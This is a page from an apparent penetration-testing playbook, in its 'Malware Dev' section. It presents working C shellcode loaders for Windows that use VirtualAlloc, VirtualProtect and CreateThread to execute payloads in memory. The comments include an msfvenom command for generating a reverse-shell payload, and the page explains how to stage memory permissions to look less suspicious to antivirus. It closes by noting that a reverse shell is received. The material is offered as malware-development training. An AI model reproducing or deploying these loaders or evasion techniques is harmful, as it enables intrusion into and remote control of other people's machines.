PenTest Playbook
  • Welcome!
  • Web App Pentesting
    • SQL Injection
    • NoSQL Injection
    • XSS
    • CSRF
    • SSRF
    • XXE
    • IDOR
    • SSTI
    • Broken Access Control/Privilege Escalation
    • Open Redirect
    • File Inclusion
    • File Upload
    • Insecure Deserialization
      • XMLDecoder
    • LDAP Injection
    • XPath Injection
    • JWT
    • Parameter Pollution
    • Prototype Pollution
    • Race Conditions
    • CRLF Injection
    • LaTeX Injection
    • CORS Misconfiguration
    • Handy Commands & Payloads
  • Active Directory Pentest
    • Domain Enumeration
      • User Enumeration
      • Group Enumeration
      • GPO & OU Enumeration
      • ACLs
      • Trusts
      • User Hunting
    • Domain Privilege Escalation
      • Kerberoast
        • AS-REP Roast (Kerberoasting)
        • CRTP Lab 14
      • Targeted Kerberoasting
        • AS-REP Roast
        • Set SPN
      • Kerberos Delegation
        • Unconstrained Delegation
          • CRTP Lab 15
        • Constrained Delegation
          • CRTP Lab 16
        • Resource Based Constrained Delegation (RBCD)
          • CRTP Lab 17
      • Across Trusts
        • Child to Parent (Cross Domain)
          • Using Trust Tickets
            • CRTP Lab 18
          • Using KRBTGT Hash
            • CRTP Lab 19
        • Cross Forest
          • Lab 20
        • AD CS (Across Domain Trusts)
          • ESC1
            • CRTP Lab 21
        • Trust Abuse - MSSQL Servers
          • CRTP Lab 22
    • Lateral Movement
      • PowerShell Remoting
      • Extracting Creds, Hashes, Tickets
      • Over-PassTheHash
      • DCSync
    • Evasion
      • Evasion Cheetsheet
    • Persistence
      • Golden Ticket
        • CRTP Lab 8
      • Silver Ticket
        • CRTP Lab 9
      • Diamond Ticket
        • CRTP Lab 10
      • Skeleton Key
      • DSRM
        • CRTP Lab 11
      • Custom SSP
      • Using ACLs
        • AdminSDHolder
        • Rights Abuse
          • CRTP Lab 12
        • Security Descriptors
          • CRTP Lab 13
    • Tools
    • PowerShell
  • AI Security
    • LLM Security Checklist
    • GenAI Vision Security Checklist
    • Questionnaire for AI/ML/GenAI Engineering Teams
  • Network Pentesting
    • Information Gathering
    • Scanning
    • Port/Service Enumeration
      • 21 FTP
      • 22 SSH
      • 25, 465, 587 SMTP
      • 53 DNS
      • 80, 443 HTTP/s
      • 88 Kerberos
      • 135, 593 MSRPC
      • 137, 138, 139 NetBios
      • 139, 445 SMB
      • 161, 162, 10161, 10162/udp SNMP
      • 389, 636, 3268, 3269 LDAP
      • Untitled
      • Page 14
      • Page 15
      • Page 16
      • Page 17
      • Page 18
      • Page 19
      • Page 20
    • Nessus
    • Checklist
  • Mobile Pentesting
    • Android
      • Android PenTest Setup
      • Tools
    • iOS
  • DevSecOps
    • Building CI Pipeline
    • Threat Modeling
    • Secure Coding
      • Code Review Examples
        • Broken Access Control
        • Broken Authentication
        • Command Injection
        • SQLi
        • XSS
        • XXE
        • SSRF
        • SSTI
        • CSRF
        • Insecure Deserialization
        • XPath Injection
        • LDAP Injection
        • Insecure File Uploads
        • Path Traversal
        • LFI
        • RFI
        • Prototype Pollution
        • Connection String Injection
        • Sensitive Data Exposure
        • Security Misconfigurations
        • Buffer Overflow
        • Integer Overflow
        • Symlink Attack
        • Use After Free
        • Out of Bounds
      • C/C++ Secure Coding
      • Java/JS Secure Coding
      • Python Secure Coding
  • Malware Dev
    • Basics - Get detected!
    • Not so easy to stage!
    • Base64 Encode Shellcode
    • Caesar Cipher (ROT 13) Encrypt Shellcode
    • XOR Encrypt Shellcode
    • AES Encrypt Shellcode
  • Handy
    • Reverse Shells
    • Pivoting
    • File Transfers
    • Tmux
  • Wifi Pentesting
    • Monitoring
    • Cracking
  • Buffer Overflows
  • Cloud Security
    • AWS
    • GCP
    • Azure
  • Container Security
  • Todo
Powered by GitBook
On this page
  • PE Format
  • Storing payload in .data
  • Storing payload in .text
  1. Malware Dev

Basics - Get detected!

Executing shellcode with Defender off.

PreviousMalware DevNextNot so easy to stage!

Last updated 1 year ago

PE Format

We are most interested in .text, .data, and .rsrc sections since that is where the payloads will be stored.

Storing payload in .data

Global variables are stored in the .data.

#include<stdio.h>
#include<windows.h>

//msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f c
// Declaring payload as a global variable

unsigned char buf[] = "Enter the shellcode generated by msfvenom here";

int main(){

        // VirtualAlloc returns an address and we store the address in a pointer
	// *exec points to memory space with size of buffer
	// Pointer to an allocated buffer address is the contents of it.
	void *exec = VirtualAlloc(
				0,	//System selects address
				sizeof buf, // Allocates buf size
				MEM_COMMIT, // Allocate commited memory
				PAGE_EXECUTE_READWRITE // Protection =R,W,X
				);
				
	//Copies contents of code into allocated memory "exec"
	memcpy(exec, buf, sizeof buf);
	
	//Calling void fuction pointer to payload buffer to execute it
	((void(*)())exec)();
	
	return 0;
}

((void(*)())exec)() What are we doing here?

  • "exec" contains the memory address of the payload.

  • To execute the shellcode in memory at address "exec", we need to trigger EIP to point to that address.

  • Here, "void(*)()" is a pointer to a function returning void and taking no arguments.

    • Type is void.

    • The function is "(*)".

  • The shellcode was first of type "unsigned char". We typecast it to "void(*)()".

  • The right most () call this function such that the EIP points to the address (exec) that contains our shellcode and execute it.

Storing payload in .text

Declaring local variables inside main() will be stored on the stack.

In the code below, instead of giving "Execute" access while allocating the buffer "VirtualAlloc()" for the payload, we will do it in two stages.

First we allocate and give R/W access using VirtualAlloc() and then give R/W/Execute access to the buffer using VirtualProtect().

This is done to be as sneaky as possible since AV's will find it suspicious to see "R/W/X" access in VirualAlloc().

Also, notice that payload runs as a new thread since we use the CreateThread().

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    	DWORD oldprotect = 0;

	// Declaring payload variable in main() gets stored in Stack.
	unsigned char payload[] = "insert_Shellcode_here";

	unsigned int payload_len = sizeof payload;
	
	// Allocate a memory buffer for payload
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// Copy payload to new buffer 
	RtlMoveMemory(exec_mem, payload, payload_len);	// Wrapper around memcpy
	
	// Change the exec_mem protection to Execute
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
	// If all good, run the payload
	if ( rv != 0 ){
		th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
		WaitForSingleObject(th, -1);
	}

	return 0;
}

We can achieve the same by using ((void(*)())exec)().

#include<stdio.h>
#include<windows.h>
#include <stdlib.h>
#include <string.h>

int main(){

	//msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f c
	
	unsigned char payload[] = "insert_shellcode_here";
	void *exec;
	BOOL rv;
	DWORD oldprotect = 0;
	
	// VirtualAlloc returns an address and we store the address in a pointer
	// *exec points to memory space with size of buffer
	// Pointer to an allocated buffer address is the contents of it.
	exec = VirtualAlloc(0, sizeof payload, MEM_COMMIT, PAGE_READWRITE);
	
	// Copies contents of payload into allocated memory "exec"
	// RtlMoveMemory is same as memcpy and is a wrapper around it.
	RtlMoveMemory(exec,	// Destination
		     payload,	// Source
		     sizeof payload);
	
	// Change the memory protection from R/W to Execute R/W.	
	rv = VirtualProtect(exec, sizeof payload, PAGE_EXECUTE_READ, &oldprotect);
	
	// Calling void fuction pointer to opcode buffer to execute it
	((void(*)())exec)();
	return 0;
}

If we turn off protection in windows and execute, we get a reverse shell on our listener.

😛